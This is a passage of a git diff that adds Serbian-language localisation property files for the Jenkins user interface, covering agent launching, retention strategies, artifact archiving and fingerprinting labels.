\u043C\u0430\u0448\u0438\u043D\u0430 \u0441\u043B\u0443\u0448\u0430\u0442\u0438 \u0437\u0430 \u0434\u043E\u043B\u0430\u0437\u0435\u045B\u0435 JNLP \u0432\u0435\u0437\u0435.
                    \ + JNLP \u0430\u0433\u0435\u043D\u0442 \u045B\u0435 \u043F\u043E\u043A\u0440\u0435\u043D\u0443\u0442\u0438 \u0433\u0440\u0430\u0444\u0438\u0447\u043A\u0438 \u0438\u043D\u0442\u0435\u0440\u0444\u0435\u0458\u0441, \u043C\u0435\u0452\u0443\u0442\u0438\u043C \u043C\u043E\u0433\u0443\u045B\u0435 \u0458\u0435 \u043F\u043E\u043A\u0440\u0435\u043D\u0443\u0442\u0438 \ + JNLP \u0430\u0433\u0435\u043D\u0442\u0430 \u0431\u0435\u0437 \u0433\u0440\u0430\u0444\u0438\u0447\u043A\u043E\u0433 \u0438\u043D\u0442\u0435\u0440\u0444\u0435\u0438\u0458\u0441\u0430, \u043D\u043F\u0440. \u043A\u0430\u043E Windows \u0441\u0435\u0440\u0432\u0438\u0441. \ No newline at end of file diff --git a/core/src/main/resources/hudson/slaves/JNLPLauncher/main_sr.properties b/core/src/main/resources/hudson/slaves/JNLPLauncher/main_sr.properties new file mode 100644 index 0000000000..c3626b4651 --- /dev/null +++ b/core/src/main/resources/hudson/slaves/JNLPLauncher/main_sr.properties @@ -0,0 +1,12 @@ +# This file is under the MIT License by authors + +slaveAgentPort.disabled=\u041F\u043E\u0440\u0442 TCP \u0437\u0430 JNLP \u0458\u0435 \u0437\u0430\u0442\u0432\u043E\u0440\u0435\u043D +configure.link.text=\u0418\u0442\u0438\u0442\u0435 \u043D\u0430 \u0441\u0442\u0440\u0430\u043D\u0438\u0446\u0443 \u0437\u0430 \u043F\u043E\u0434\u0435\u0448\u0430\u0432\u0430\u045A\u0430 \u0431\u0435\u0437\u0431\u0435\u0434\u043D\u043E\u0441\u0442\u0438 \u0438 \u043F\u0440\u043E\u043C\u0435\u043D\u0438\u0442\u0435 \u0433\u0430 +Connect\ agent\ to\ Jenkins\ one\ of\ these\ ways\:=\u041F\u043E\u0432\u0435\u0436\u0438\u0442\u0435 \u0441\u0435 \u0441\u0430 Jenkins-\u043E\u043C \u043F\u0443\u0442\u0435\u043C: +launch\ agent=\u043F\u043E\u043A\u0440\u0435\u043D\u0438 \u0430\u0433\u0435\u043D\u0442\u0430 +Launch\ agent\ from\ browser=\u041F\u043E\u043A\u0440\u0435\u043D\u0438 \u0441\u0430 \u0432\u0435\u0431-\u043F\u0440\u0435\u0433\u043B\u0435\u0434\u0430\u0447\u0430 +Run\ from\ agent\ command\ line\:=\u0418\u0437\u0432\u0440\u0448\u0438 \u0441\u0430 \u043A\u043E\u043C\u0430\u043D\u0434\u043D\u0435 \u043B\u0438\u043D\u0438\u0458\u0435: +Or\ if\ the\ agent\ is\ headless\:=\u0418\u043B\u0438, \u0430\u043A\u043E \u0430\u0433\u0435\u043D\u0442 \u043D\u0435 \u0438\u043C\u0430 \u0435\u043A\u0440\u0430\u043D\u0430 +Connected\ via\ JNLP\ agent.=\u041F\u043E\u0432\u0435\u0437\u0430\u043D\u043E \u043F\u0443\u0442\u0435\u043C JNLP \u0430\u0433\u0435\u043D\u0442\u0430. +Run\ from\ agent\ command\ line=\u0418\u0437\u0432\u0440\u0448\u0438 \u0441\u0430 \u043A\u043E\u043C\u0430\u043D\u0434\u043D\u0435 \u043B\u0438\u043D\u0438\u0458\u0435 +Connect\ agent\ to\ Jenkins\ one\ of\ these\ ways=\u041F\u043E\u0432\u0435\u0436\u0438\u0442\u0435 \u0441\u0435 \u0441\u0430 Jenkins-\u043E\u043C \u043F\u0443\u0442\u0435\u043C diff --git a/core/src/main/resources/hudson/slaves/Messages_sr.properties b/core/src/main/resources/hudson/slaves/Messages_sr.properties new file mode 100644 index 0000000000..7c3235dec4 --- /dev/null +++ b/core/src/main/resources/hudson/slaves/Messages_sr.properties @@ -0,0 +1,24 @@ +# This file is under the MIT License by authors + +RetentionStrategy.Always.displayName=\u0414\u0440\u0436\u0438 \u043E\u0432\u043E\u0433 \u0430\u0433\u0435\u043D\u0442\u0430 \u043F\u043E\u0432\u0435\u0437\u0430\u043D\u043E\u0433 \u043A\u043E\u043B\u0438\u043A\u043E \u0433\u043E\u0434 \u043C\u043E\u0433\u0443\u045B\u0435 +RetentionStrategy.Demand.displayName=\u041F\u043E\u0432\u0435\u0436\u0438 \u043E\u0432\u043E\u0433 \u0430\u0433\u0435\u043D\u0442\u0430 \u043A\u0430\u0434\u0430 \u0431\u0443\u0434\u0435 \u0431\u0438\u043B\u043E \u043F\u043E\u0442\u0440\u0435\u0431\u043D\u043E, \u0430 \u043F\u0440\u0435\u043A\u0438\u043D\u0438 \u0432\u0435\u0437\u0443 \u043A\u0430\u0434\u0430 \u0437\u0430\u0441\u0442\u043E\u0458\u0438. +RetentionStrategy.Demand.OfflineIdle=\u041D\u0438\u0458\u0435 \u043F\u043E\u0432\u0435\u0437\u0430\u043D\u043E, \u0458\u0435\u0440 \u0458\u0435 \u043C\u0430\u0448\u0438\u043D\u0430 \u0437\u0430\u0441\u0442\u043E\u0458\u0430\u043D\u0430. \u0411\u0438\u045B\u0435 \u043F\u043E\u043A\u0440\u0435\u043D\u0443\u0442 \u043A\u0430\u0434\u0430 \u0431\u0443\u0434\u0435 \u0431\u0438\u043B\u043E \u043F\u043E\u0442\u0440\u0435\u0431\u043D\u043E. +CommandLauncher.displayName=\u041F\u043E\u043A\u0440\u0435\u043D\u0438 \u0430\u0433\u0435\u043D\u0442\u0430 \u0438\u0437\u0432\u0440\u0448\u0430\u0432\u0430\u045A\u0443 \u043A\u043E\u043C\u0430\u043D\u0434\u0435 \u043D\u0430 \u0433\u043B\u0430\u0432\u043D\u043E\u0458 \u043C\u0430\u0448\u0438\u043D\u0438 +JNLPLauncher.displayName=\u041F\u043E\u043A\u0440\u0435\u043D\u0438 \u0430\u0433\u0435\u043D\u0442\u0430 \u0441\u0430 Java Web Start +ComputerLauncher.unexpectedError=\u041D\u0435\u043E\u0447\u0435\u043A\u0438\u0432\u0430\u043D\u0430 \u0433\u0440\u0435\u0448\u043A\u0430 \u043F\u0440\u0438\u043B\u0438\u043A\u043E\u043C \u043F\u043E\u043A\u0440\u0435\u0442\u0430\u045A\u0435 \u0430\u0433\u0435\u043D\u0442\u0430. \u041E\u0432\u043E \u0458\u0435 \u0432\u0435\u0440\u043E\u0432\u0430\u0442\u043D\u043E \u0433\u0440\u0435\u0448\u043A\u0430 \u0443 Jenkins. +ComputerLauncher.abortedLaunch=\u041F\u0440\u043E\u0446\u0435\u0441 \u0437\u0430 \u043F\u043E\u043A\u0440\u0435\u0442\u0430\u045A\u0435 \u0430\u0433\u0435\u043D\u0442\u0430 \u0458\u0435 \u043F\u0440\u0435\u043A\u0438\u043D\u0443\u0442. +ConnectionActivityMonitor.OfflineCause=\u041F\u043E\u043D\u043E\u0432\u0459\u0435\u043D\u0438 \u043F\u043E\u043A\u0443\u0448\u0430\u0458\u0438 \u0434\u0430 \u0441\u0435 \u0441\u0442\u0443\u043F\u0438 \u043A\u043E\u043D\u0442\u0430\u043A\u0442 \u043F\u0440\u0435\u043A\u043E \u043A\u043E\u043C\u0430\u043D\u0434\u0435 "ping" \u0441\u0443 \u043D\u0435\u0443\u0441\u043F\u0435\u0448\u043D\u0438. +CommandLauncher.NoLaunchCommand=\u041D\u0438\u0458\u0435 \u043D\u0430\u0432\u0435\u0434\u0435\u043D\u043E \u043A\u043E\u043C\u0430\u043D\u0434\u0430 \u0437\u0430 \u043F\u043E\u043A\u0440\u0435\u0442\u0430\u045A\u0435. +DumbSlave.displayName=\u0421\u0442\u0430\u043B\u043D\u0438 \u0430\u0433\u0435\u043D\u0442 +NodeProvisioner.EmptyString= +OfflineCause.LaunchFailed=\u0410\u0433\u0435\u043D\u0442 \u043D\u0438\u0458\u0435 \u043F\u0440\u0438\u043A\u0459\u0443\u0447\u0435\u043D \u0458\u0435\u0440 Jenkins \u043D\u0438\u0458\u0435 \u0443\u0441\u043F\u0435\u043E \u0434\u0430 \u043F\u043E\u043A\u0440\u0435\u043D\u0435 \u043F\u0440\u043E\u0446\u0435\u0441 \u043D\u0430 \u045A\u0435\u0433\u0430. +OfflineCause.connection_was_broken_=\u0412\u0435\u0437\u0430 \u0458\u0435 \u043F\u0440\u0435\u043A\u0438\u043D\u0443\u0442\u0430: {0} +SimpleScheduledRetentionStrategy.FinishedUpTime=\u041C\u0430\u0448\u0438\u043D\u0430 \u0458\u0435 \u0437\u0430\u0432\u0440\u0448\u0438\u043B\u0430 \u043F\u043B\u0430\u043D\u0438\u0440\u0430\u043D\u043E \u0432\u0440\u0435\u043C\u0435 \u0440\u0430\u0434\u0430 +SimpleScheduledRetentionStrategy.displayName=\u041F\u043E\u0432\u0435\u0436\u0438 \u0430\u0433\u0435\u043D\u0442\u0430 \u043F\u0440\u0435\u043C\u0430 \u0440\u0430\u0441\u043F\u043E\u0440\u0435\u0434\u0443 +EnvironmentVariablesNodeProperty.displayName=\u0413\u043B\u043E\u0431\u0430\u043B\u043D\u0430 \u043F\u0440\u043E\u043C\u0435\u043D\u0459\u0438\u0432\u0430 +SlaveComputer.DisconnectedBy=\u041F\u0440\u0435\u043A\u0438\u043D\u0443\u0442\u0430 \u0432\u0435\u0437\u0430 \u043E\u0434 \u0441\u0442\u0440\u0430\u043D\u0435 {0}{1} +NodeDescripter.CheckName.Mandatory=\u0418\u043C\u0435 \u0458\u0435 \u043E\u0431\u0430\u0432\u0435\u0437\u043D\u043E +ComputerLauncher.NoJavaFound=\u041F\u0440\u043E\u043D\u0430\u0452\u0435\u043D\u043E \u0458\u0435 Java \u0432\u0435\u0440\u0437\u0438\u0458\u0430 {0}, \u043C\u0435\u0452\u0443\u0442\u0438\u043C \u043F\u043E\u0442\u0440\u0435\u0431\u043D\u043E \u0458\u0435 \u0432\u0435\u0440\u0437\u0438\u0458\u0430 1.6. +ComputerLauncher.JavaVersionResult=\u041A\u043E\u043C\u0430\u043D\u0434\u0430 {0} -version \u0458\u0435 \u0432\u0440\u0430\u0442\u0438\u043B\u043E {1}. +ComputerLauncher.UknownJavaVersion=\u041D\u0438\u0458\u0435 \u043C\u043E\u0433\u0443\u045B\u0435 \u043E\u0434\u0440\u0435\u0434\u0438\u0438\u0442\u0438 Java \u0432\u0435\u0440\u0437\u0438\u0458\u0443 {0} +Cloud.ProvisionPermission.Description=\u041E\u0434\u0440\u0435\u0434\u0438 \u043D\u043E\u0432\u0435 \u043C\u0430\u0448\u0438\u043D\u0435 \ No newline at end of file diff --git a/core/src/main/resources/hudson/slaves/OfflineCause/ChannelTermination/cause_sr.properties b/core/src/main/resources/hudson/slaves/OfflineCause/ChannelTermination/cause_sr.properties new file mode 100644 index 0000000000..c90bb81326 --- /dev/null +++ b/core/src/main/resources/hudson/slaves/OfflineCause/ChannelTermination/cause_sr.properties @@ -0,0 +1,3 @@ +# This file is under the MIT License by authors + +Connection\ was\ broken=\u0412\u0435\u0437\u0430 \u0458\u0435 \u043F\u0440\u0435\u043A\u0438\u043D\u0443\u0442\u0430 diff --git a/core/src/main/resources/hudson/slaves/OfflineCause/LaunchFailed/cause_sr.properties b/core/src/main/resources/hudson/slaves/OfflineCause/LaunchFailed/cause_sr.properties new file mode 100644 index 0000000000..5095bc44ec --- /dev/null +++ b/core/src/main/resources/hudson/slaves/OfflineCause/LaunchFailed/cause_sr.properties @@ -0,0 +1,3 @@ +# This file is under the MIT License by authors + +See\ log\ for\ more\ details=\u041F\u0440\u0435\u0433\u043B\u0435\u0434\u0430\u0458\u0442\u0435 \u0436\u0443\u0440\u043D\u0430\u043B \u0437\u0430 \u0432\u0438\u0448\u0435 \u0434\u0435\u0442\u0430\u0459\u0430 diff --git a/core/src/main/resources/hudson/slaves/RetentionStrategy/Demand/config_sr.properties b/core/src/main/resources/hudson/slaves/RetentionStrategy/Demand/config_sr.properties new file mode 100644 index 0000000000..6e5107cd17 --- /dev/null +++ b/core/src/main/resources/hudson/slaves/RetentionStrategy/Demand/config_sr.properties @@ -0,0 +1,6 @@ +# This file is under the MIT License by authors + +In\ demand\ delay=\u041A\u0430\u0448\u045A\u0435\u045A\u0435 \u043D\u0430\u043A\u043E\u043D \u043F\u043E\u0441\u0442\u0430\u0432\u0459\u0430\u045A\u0430 \u0437\u0430\u0434\u0430\u0442\u043A\u0430 +In\ demand\ delay\ is\ mandatory\ and\ must\ be\ a\ number.=\u041A\u0430\u0448\u045A\u0435\u045A\u0435 \u043D\u0430\u043A\u043E\u043D \u043F\u043E\u0441\u0442\u0430\u0432\u0459\u0430\u045A\u0430 \u0437\u0430\u0434\u0430\u0442\u0430\u043A\u0430 \u043C\u043E\u0440\u0430 \u0431\u0438\u0442\u0438 \u043D\u0430\u0432\u0435\u0434\u0435\u043D\u043E. +Idle\ delay=\u041A\u0430\u0448\u045A\u0435\u045A\u0435 \u043D\u0430\u043A\u043E\u043D \u0437\u0430\u0432\u0440\u0448\u0435\u0442\u043A\u0430 +Idle\ delay\ is\ mandatory\ and\ must\ be\ a\ number.=\u041A\u0430\u0448\u045A\u0435\u045A\u0435 \u043D\u0430\u043A\u043E\u043D \u0437\u0430\u0432\u0440\u0448\u0435\u0442\u043A\u0430 \u043C\u043E\u0440\u0430 \u0431\u0438\u0442\u0438 \u043D\u0430\u0432\u0435\u0434\u0435\u043D\u043E. diff --git a/core/src/main/resources/hudson/slaves/RetentionStrategy/Scheduled/config_sr.properties b/core/src/main/resources/hudson/slaves/RetentionStrategy/Scheduled/config_sr.properties new file mode 100644 index 0000000000..b95c745f05 --- /dev/null +++ b/core/src/main/resources/hudson/slaves/RetentionStrategy/Scheduled/config_sr.properties @@ -0,0 +1,4 @@ +# This file is under the MIT License by authors + +Startup\ Schedule=\u0420\u0430\u0441\u043F\u043E\u0440\u0435\u0434 \u043F\u043E\u043A\u0440\u0435\u0442\u0430\u045A\u0430 +Shutdown\ Schedule=\u0420\u0430\u0441\u043F\u043E\u0440\u0435\u0434 \u0433\u0430\u0448\u0435\u045A\u0430 diff --git a/core/src/main/resources/hudson/slaves/SimpleScheduledRetentionStrategy/config_sr.properties b/core/src/main/resources/hudson/slaves/SimpleScheduledRetentionStrategy/config_sr.properties new file mode 100644 index 0000000000..4a372ed194 --- /dev/null +++ b/core/src/main/resources/hudson/slaves/SimpleScheduledRetentionStrategy/config_sr.properties @@ -0,0 +1,7 @@ +# This file is under the MIT License by authors + +Startup\ Schedule=\u0420\u0430\u0441\u043F\u043E\u0440\u0435\u0434 \u043F\u043E\u043A\u0440\u0435\u0442\u0430\u045A\u0430 +Scheduled\ Uptime=\u0420\u0430\u0441\u043F\u043E\u0440\u0435\u0434 \u0432\u0440\u0435\u043C\u0435\u043D\u0430 \u043D\u0435\u043F\u0440\u0435\u043A\u0438\u0434\u043D\u043E\u0433 \u0440\u0430\u0434\u0430 +uptime.description=\u041A\u043E\u043B\u0438\u043A\u043E \u043C\u0438\u043D\u0443\u0442\u0430 \u045B\u0435 \u0441\u0435 \u043E\u0434\u0440\u0436\u0430\u0432\u0430\u0442\u0438 \u0432\u0435\u0437\u0443 \u0441\u0430 \u043C\u0430\u0448\u0438\u043D\u043E\u043C. \u0410\u043A\u043E \u043F\u0440\u0435\u043A\u043E\u0440\u0430\u0447\u0443\u0458\u0435 \u0440\u0430\u0441\u043F\u043E\u0440\u0435\u0434 \u043F\u043E\u043A\u0440\u0435\u0442\u0430\u045A\u0430, \u043E\u043D\u0434\u0430 \u045B\u0435 \u043C\u0430\u0448\u0438\u043D\u0430 \u043E\u0441\u0442\u0430\u0442\u0438 \u043F\u043E\u0432\u0435\u0437\u0430\u043D\u0430. +Scheduled\ Uptime\ is\ mandatory\ and\ must\ be\ a\ number.= +Keep\ online\ while\ jobs\ are\ running=\u041E\u0434\u0440\u0436\u0438 \u0432\u0435\u0437\u0443 \u0434\u043E\u043A \u0441\u0435 \u0438\u0437\u0432\u0440\u0448\u0430\u0432\u0430\u0458\u0443 \u0437\u0430\u0434\u0430\u0446\u0438 diff --git a/core/src/main/resources/hudson/slaves/SlaveComputer/disconnect_sr.properties b/core/src/main/resources/hudson/slaves/SlaveComputer/disconnect_sr.properties new file mode 100644 index 0000000000..8dd7d8cc41 --- /dev/null +++ b/core/src/main/resources/hudson/slaves/SlaveComputer/disconnect_sr.properties @@ -0,0 +1,6 @@ +# This file is under the MIT License by authors + +disconnect=\u043F\u0440\u0435\u043A\u0438\u043D\u0438 \u0432\u0435\u0437\u0443 +Are\ you\ sure\ about\ disconnecting?=\u0414\u0430 \u043B\u0438 \u0441\u0442\u0435 \u0441\u0438\u0433\u0443\u0440\u043D\u0438 \u0434\u0430 \u0436\u0435\u0438\u043B\u0438\u0442\u0435 \u0434\u0430 \u043F\u0440\u0435\u043A\u0438\u043D\u0435\u0442\u0435 \u0432\u0435\u0437\u0443? +Yes=\u0414\u0430 +blurb=\u041C\u043E\u0436\u0435\u0442\u0435 \u043E\u043F\u0446\u0438\u043E\u043D\u043E \u043D\u0430\u0432\u0435\u0441\u0442\u0430 \u0440\u0430\u0437\u043B\u043E\u0433 \u0437\u0430\u0448\u0442\u043E \u0441\u0435 \u043F\u0440\u0435\u043A\u0438\u0434\u0430 \u0432\u0435\u0437\u0430: diff --git a/core/src/main/resources/hudson/slaves/SlaveComputer/log_sr.properties b/core/src/main/resources/hudson/slaves/SlaveComputer/log_sr.properties new file mode 100644 index 0000000000..342f76eea2 --- /dev/null +++ b/core/src/main/resources/hudson/slaves/SlaveComputer/log_sr.properties @@ -0,0 +1,3 @@ +# This file is under the MIT License by authors + +Log\ Records=\u0416\u0443\u0440\u043D\u0430\u043B \u043F\u043E\u0434\u0430\u0446\u0438 \ No newline at end of file diff --git a/core/src/main/resources/hudson/slaves/SlaveComputer/sidepanel2_sr.properties b/core/src/main/resources/hudson/slaves/SlaveComputer/sidepanel2_sr.properties new file mode 100644 index 0000000000..072ff6db92 --- /dev/null +++ b/core/src/main/resources/hudson/slaves/SlaveComputer/sidepanel2_sr.properties @@ -0,0 +1,5 @@ +# This file is under the MIT License by authors + +Log=\u0416\u0443\u0440\u043D\u0430\u043B +System\ Information=\u0418\u043D\u0444\u043E\u0440\u043C\u0430\u0446\u0438\u0458\u0435 \u043E \u0441\u0438\u0441\u0442\u0435\u043C\u0443 +Disconnect=\u041F\u0440\u0435\u043A\u0438\u043D\u0438 \u0432\u0435\u0437\u0443 diff --git a/core/src/main/resources/hudson/slaves/SlaveComputer/sidepanel_sr.properties b/core/src/main/resources/hudson/slaves/SlaveComputer/sidepanel_sr.properties new file mode 100644 index 0000000000..5986eb659e --- /dev/null +++ b/core/src/main/resources/hudson/slaves/SlaveComputer/sidepanel_sr.properties @@ -0,0 +1,8 @@ +# This file is under the MIT License by authors + +System\ Information=\u0418\u043D\u0444\u043E\u0440\u043C\u0430\u0446\u0438\u0458\u0435 \u043E \u0441\u0438\u0441\u0442\u0435\u043C\u0443 +Back\ to\ List=\u041D\u0430\u0437\u0430\u0434 \u043A\u0430 \u0441\u043F\u0438\u0441\u043A\u0443 +Status=\u0421\u0442\u0430\u045A\u0435 +Log=\u0416\u0443\u0440\u043D\u0430\u043B +Disconnect=\u041F\u0440\u0435\u043A\u0438\u043D\u0438 \u0432\u0435\u0437\u0443 +Build\ History=\u0418\u0441\u0442\u043E\u0440\u0438\u0458\u0430 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0430 \ No newline at end of file diff --git a/core/src/main/resources/hudson/slaves/SlaveComputer/systemInfo_sr.properties b/core/src/main/resources/hudson/slaves/SlaveComputer/systemInfo_sr.properties new file mode 100644 index 0000000000..a5f7432961 --- /dev/null +++ b/core/src/main/resources/hudson/slaves/SlaveComputer/systemInfo_sr.properties @@ -0,0 +1,8 @@ +# This file is under the MIT License by authors + +System\ Information=\u0418\u043D\u0444\u043E\u0440\u043C\u0430\u0446\u0438\u0458\u0435 \u043E \u0441\u0438\u0441\u0442\u0435\u043C\u0443 +System\ Information\ is\ unavailable\ when\ agent\ is\ offline.=\u041D\u0438\u0458\u0435 \u043C\u043E\u0433\u0443\u045B\u0435 \u0443\u0447\u0438\u0442\u0430\u0442\u0438 \u0438\u043D\u0444\u043E\u0440\u043C\u0430\u0446\u0438\u0458\u0435 \u043E \u0441\u0438\u0441\u0442\u0435\u043C\u0443 \u043A\u0430\u0434 \u0458\u0435 \u043C\u0430\u0448\u043D\u0438\u0430 \u043D\u0435\u043F\u043E\u0432\u0435\u0437\u0430\u043D\u0430. +System\ Information\ is\ unavailable\ when\ slave\ is\ offline.=\u041D\u0438\u0458\u0435 \u043C\u043E\u0433\u0443\u045B\u0435 \u0443\u0447\u0438\u0442\u0430\u0442\u0438 \u0438\u043D\u0444\u043E\u0440\u043C\u0430\u0446\u0438\u0458\u0435 \u043E \u0441\u0438\u0441\u0442\u0435\u043C\u0443 \u043A\u0430\u0434 \u0458\u0435 \u043F\u043E\u043C\u043E\u045B\u043D\u0430 \u043C\u0430\u0448\u043D\u0438\u0430 \u043D\u0435\u043F\u043E\u0432\u0435\u0437\u0430\u043D\u0430. +System\ Properties=\u041F\u043E\u0441\u0442\u0430\u0432\u043A\u0435 \u0441\u0438\u0441\u0442\u0435\u043C\u0430 +Environment\ Variables=\u0413\u043B\u043E\u0431\u0430\u043B\u043D\u0435 \u043F\u0440\u043E\u043C\u0435\u043D\u0459\u0438\u0432\u0435 +Thread\ Dump=\u0414\u0435\u043F\u043E\u043D\u0438\u0458\u0430 \u043D\u0438\u0442\u043E\u0432\u0430 diff --git a/core/src/main/resources/hudson/slaves/SlaveComputer/threadDump_sr.properties b/core/src/main/resources/hudson/slaves/SlaveComputer/threadDump_sr.properties new file mode 100644 index 0000000000..59ba3a01f6 --- /dev/null +++ b/core/src/main/resources/hudson/slaves/SlaveComputer/threadDump_sr.properties @@ -0,0 +1,4 @@ +# This file is under the MIT License by authors + +title={0} \u0414\u0435\u043F\u043E\u043D\u0438\u0458\u0430 \u043D\u0438\u0442\u043E\u0432\u0430 +Thread\ Dump={0} \u0414\u0435\u043F\u043E\u043D\u0438\u0458\u0430 \u043D\u0438\u0442\u043E\u0432\u0430 diff --git a/core/src/main/resources/hudson/tasks/ArtifactArchiver/config_sr.properties b/core/src/main/resources/hudson/tasks/ArtifactArchiver/config_sr.properties new file mode 100644 index 0000000000..09d2f6b363 --- /dev/null +++ b/core/src/main/resources/hudson/tasks/ArtifactArchiver/config_sr.properties @@ -0,0 +1,9 @@ +# This file is under the MIT License by authors + +Files\ to\ archive=\u0414\u0430\u0442\u043E\u0442\u0435\u043A\u0435 \u0437\u0430 \u0430\u0440\u0445\u0438\u0432\u0430\u045A\u0435 +Excludes=\u0418\u0437\u0441\u043A\u0459\u0443\u0447\u0435\u045A\u0430 +allowEmptyArchive=\u041D\u0435\u043C\u043E\u0458 \u043E\u043A\u043E\u043D\u0447\u0430\u0442\u0438 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0443 \u0430\u043A\u043E \u0430\u0440\u0445\u0438\u0432\u0430\u0442\u043E\u0440 \u043D\u0435 \u0443\u0441\u043F\u0435 +onlyIfSuccessful=\u0410\u0440\u0445\u0438\u0432\u0438\u0440\u0430\u0458 \u0430\u0440\u0442\u0435\u0444\u0430\u043A\u0442\u0435 \u0441\u0430\u043C\u043E \u043A\u0430\u0434\u0430 \u0458\u0435 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0430 \u0443\u0441\u043F\u0435\u0448\u043D\u0430 +Fingerprint\ all\ archived\ artifacts=\u0423\u0437\u043C\u0438 \u043E\u0442\u0438\u0441\u043A\u0435 \u0441\u0432\u0438\u0445 \u0430\u0440\u0445\u0438\u0432\u0438\u0440\u0430\u043D\u0438\u043C \u0430\u0440\u0442\u0435\u0444\u0430\u043A\u0442\u0438\u043C\u0430 +defaultExcludes=\u041A\u043E\u0440\u0438\u0441\u0442\u0438 \u0443\u043E\u0431\u0438\u0447\u0430\u0458\u0435\u043D\u0430 \u0438\u0437\u0443\u0437\u0438\u043C\u0430\u045A\u0430 +caseSensitive=\u0422\u0440\u0435\u0442\u0438\u0440\u0430\u0458 \u043F\u0435\u043B\u0438\u043A\u0430 \u0438 \u043C\u0430\u043B\u0430 \u0441\u043B\u043E\u0432\u0430 \u043F\u043E \u0438\u0437\u0443\u0437\u0438\u043C\u0430\u045A\u0430 \u0438 \u0443\u0437\u0438\u043C\u0430\u045A\u0430 \u0448\u0430\u0431\u043B\u043E\u043D\u0435 \u0458\u0435\u0434\u043D\u0430\u0438\u043C diff --git a/core/src/main/resources/hudson/tasks/ArtifactArchiver/help-defaultExcludes_sr.properties b/core/src/main/resources/hudson/tasks/ArtifactArchiver/help-defaultExcludes_sr.properties new file mode 100644 index 0000000000..1ca86e0214 --- /dev/null +++ b/core/src/main/resources/hudson/tasks/ArtifactArchiver/help-defaultExcludes_sr.properties @@ -0,0 +1,4 @@ +# This file is under the MIT License by authors + +p1=\u0410\u0440\u0445\u0438\u0432\u0430\u0442\u043E\u0440 \u0430\u0440\u0442\u0435\u0444\u0430\u043A\u0442\u0438 \u043A\u043E\u0440\u0438\u0441\u0442\u0438 Ant org.apache.tools.ant.DirectoryScanner, \u0448\u0442\u043E \u0438\u0441\u043A\u0459\u0443\u0447\u0443\u0458\u0435 \u043D\u0430\u0440\u0435\u0434\u043D\u0435 \u0448\u0430\u0431\u043B\u043E\u043D\u0435: +p2=\u041E\u0432\u0430 \u043E\u043F\u0446\u0438\u0458\u0430 \u043F\u0440\u0443\u0436\u0438 \u043C\u043E\u0433\u0443\u045B\u043D\u043E\u0441\u0442 \u0434\u0430 \u0441\u0435 \u0443\u043A\u0459\u0443\u0447\u0435 \u0438\u043B\u0438 \u0438\u0441\u043A\u0459\u0443\u0447\u0435 Ant \u0438\u0437\u0443\u0437\u0438\u043C\u0430\u045A\u0430. \ No newline at end of file diff --git a/core/src/main/resources/hudson/tasks/BatchFile/config_sr.properties b/core/src/main/resources/hudson/tasks/BatchFile/config_sr.properties new file mode 100644 index 0000000000..cccacf6fa8 --- /dev/null +++ b/core/src/main/resources/hudson/tasks/BatchFile/config_sr.properties @@ -0,0 +1,4 @@ +# This file is under the MIT License by authors + +Command=\u041A\u043E\u043C\u0430\u043D\u0434\u0430 +description=\u041F\u0440\u0435\u0433\u043B\u0435\u0434\u0430\u0458 \u0441\u043F\u0438\u0441\u0430\u043A \u043F\u0440\u043E\u043C\u0435\u043D\u0459\u0438\u0432\u0430 diff --git a/core/src/main/resources/hudson/tasks/BuildTrigger/config_sr.properties b/core/src/main/resources/hudson/tasks/BuildTrigger/config_sr.properties new file mode 100644 index 0000000000..0065e35dc1 --- /dev/null +++ b/core/src/main/resources/hudson/tasks/BuildTrigger/config_sr.properties @@ -0,0 +1,6 @@ +# This file is under the MIT License by authors + +Trigger\ only\ if\ build\ is\ stable=\u0418\u0437\u0430\u0437\u043E\u0432\u0438 \u0441\u0430\u043C\u043E \u0430\u043A\u043E \u0458\u0435 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0430 \u0441\u0442\u0430\u0431\u0438\u043B\u043D\u0430 +Trigger\ even\ if\ the\ build\ is\ unstable=\u0418\u0437\u0430\u0437\u043E\u0432\u0438 \u0447\u0430\u043A \u0438 \u0430\u043A\u043E \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0430 \u0458\u0435 \u043D\u0435\u0441\u0442\u0430\u0431\u0438\u043B\u043D\u0430 +Trigger\ even\ if\ the\ build\ fails=\u0418\u0437\u0430\u0437\u043E\u0432\u0438 \u0447\u0430\u043A \u0438 \u0430\u043A\u043E \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0430 \u043D\u0435\u0431\u0443\u0434\u0435 \u0443\u0441\u043F\u0435\u043B\u0430 +Projects\ to\ build=\u041F\u0440\u043E\u0458\u0435\u043A\u0442\u0438 \u0437\u0430 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0443 diff --git a/core/src/main/resources/hudson/tasks/Fingerprinter/FingerprintAction/index_sr.properties b/core/src/main/resources/hudson/tasks/Fingerprinter/FingerprintAction/index_sr.properties new file mode 100644 index 0000000000..2af320ae8f --- /dev/null +++ b/core/src/main/resources/hudson/tasks/Fingerprinter/FingerprintAction/index_sr.properties @@ -0,0 +1,9 @@ +# This file is under the MIT License by authors + +Recorded\ Fingerprints=\u0417\u0430\u0431\u0435\u043B\u0435\u0436\u0435\u043D\u0435 \u043E\u0441\u0442\u0438\u0441\u043A\u0435 +File=\u0414\u0430\u0442\u043E\u0442\u0435\u043A\u0430 +Original\ owner=\u041E\u0440\u0438\u0433\u0438\u043D\u0430\u043B\u043D\u0438 \u0432\u043B\u0430\u0441\u043D\u0438\u043A +Age=\u0421\u0442\u0430\u0440\u043E\u0441\u0442 +outside\ Jenkins=\u0441\u043F\u043E\u0459\u043E\u043C Jenkins-\u0430 +this\ build=\u043E\u0432\u0430 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0430 +more\ details=\u0414\u0435\u0442\u0430\u0459\u0438 \ No newline at end of file diff --git a/core/src/main/resources/hudson/tasks/Fingerprinter/config_sr.properties b/core/src/main/resources/hudson/tasks/Fingerprinter/config_sr.properties new file mode 100644 index 0000000000..0c97635891 --- /dev/null +++ b/core/src/main/resources/hudson/tasks/Fingerprinter/config_sr.properties @@ -0,0 +1,3 @@ +# This file is under the MIT License by authors + +Files\ to\ fingerprint=\u0414\u0430\u0442\u043E\u0442\u0435\u043A\u0435 \u0437\u0430 \u043E\u0442\u0438\u0441\u0430\u043A diff --git a/core/src/main/resources/hudson/tasks/LogRotator/config_sr.properties 